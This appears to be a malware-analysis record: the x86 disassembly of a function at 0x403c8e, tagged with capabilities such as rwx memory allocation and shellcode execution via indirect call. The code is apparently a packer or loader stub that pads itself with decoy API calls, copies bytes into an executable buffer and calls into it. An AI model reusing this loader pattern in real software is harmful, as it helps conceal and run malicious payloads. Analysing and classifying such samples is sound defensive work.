Function at 0x403c8e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x403cbb
inc edi
cmp edi, 0x67d12
jl 0x403c9e
cmp dword [0x2870724], 0x93
jne 0x403d96
push 0x4037fc
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push esi
push esi
push 0x403808
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
push esi
push 0x403820
push 0x40382c
push 0x403844
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push esi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
push esi
call dword [sym.imp.SHELL32.dll_FindExecutableA]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.ole32.dll_StringFromIID]
push esi
call fcn.00404134
pop ecx
push esi
push 0x403782
push 0x48d730
call fcn.004041e0
add esp, 0xc
push esi
push esi
call fcn.004049ba
push esi
call fcn.00404980
add esp, 0xc
push esi
push esi
call fcn.004049af
pop ecx
pop ecx
mov eax, dword [0x478b5c]
add dword [0x2870724], 0x1134b
push 0x40385c
mov dword [0x2871560], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x40386c
push eax
mov dword [0x28701b4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x2870724]
mov dword [0x28701a8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x2870724]
mov dword [0x28701b0], eax
push eax
call dword [0x28701a8]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x820]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push esi
call ebx
dec edi
jne 0x403dfb
cmp dword [0x2870724], esi
jbe 0x403e76
mov eax, dword [0x2871560]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x28701b0]
mov byte [ecx + edi], al
cmp dword [0x2870724], 0x490
jne 0x403e6d
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
inc edi
cmp edi, dword [0x2870724]
jb 0x403e1f
xor edi, edi
mov eax, dword [0x2870724]
add eax, edi
cmp eax, 0x8d
jne 0x403eb7
push esi
lea eax, [ebp - 0x420]
push eax
push esi
push 0x40387c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x403880
push 0x4038c8
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
inc edi
cmp edi, 0x38681
jl 0x403e78
call fcn.00403bb5
xor edi, edi
push esi
call ebx
cmp edi, 0x61
jne 0x403ee2
mov dword [ebp - 8], esi
add dword [ebp - 8], 0
mov eax, dword [ebp - 8]
add dword [0x28701b0], eax
inc edi
cmp edi, 0x674bd
jl 0x403ec7
push 0x7b
pop edi
cmp dword [0x2870724], 0x86
jne 0x403f29
push esi
push esi
push esi
push esi
push esi
push esi
push 0x4038b4
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push esi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
dec edi
jne 0x403eee
push 0x403908
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x28701b0]
pop edi
pop esi
pop ebx
leave
ret